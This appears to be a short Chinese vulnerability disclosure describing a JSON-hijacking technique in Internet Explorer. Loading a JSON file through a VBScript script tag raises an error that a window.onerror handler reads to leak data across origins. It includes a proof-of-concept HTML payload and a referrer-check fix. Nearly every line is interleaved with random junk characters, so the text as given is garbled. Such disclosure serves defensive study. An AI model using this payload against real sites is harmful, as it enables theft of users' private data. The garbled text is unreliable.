简要描述:
+ ^3 o1 Q/ p+ D$ x3 V0 a+ ^' T7 @/ B; n" ~( K; w
由于某些资源容器对数据处理不当导致json劫持漏洞.* B6 j7 ] L& E+ E3 y
详细说明:3 k2 i6 A+ d% \' g" `8 d
由于ie支持vbscript,所以script元素可以指定成vbscript语言:" k5 F4 d5 z% X J. y
<script language=vbscript></script>
* T4 A, [( ]! t5 n# k7 M( K1 ~
& w7 m% i, }4 t( @$ _% @当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
1 b$ p- R) @' E3 b5 _) M漏洞证明:
- u2 t1 c0 U" k' B6 N' I7 H<script>
- X) f9 `1 `$ N% H5 @* v4 Nwindow.onerror=function(_){* n G% l! X6 D0 P( V
alert(_)
7 H: f5 @5 u8 O( ?}
. _" d8 A/ t3 L* I</script>
3 u- [7 N) x" S9 h4 d4 Z' b! a+ {4 I<script language=vbscript src=1.json></script>
8 Z' i' Y+ y2 E- e
8 ?% r! ?5 g2 k/ e' r 2 q! B/ W/ Q: ]# _1 }5 n
1.json:' A- W" f1 U/ D6 G9 @4 b- h+ G
[{"name":"sogili","age":19}]
& ^3 v9 J% s H) k修复方案:
7 b, y/ E' t7 k# f# v3 U& ^网站业务对于这个问题可以通过验证referrer是否为同源来防御 |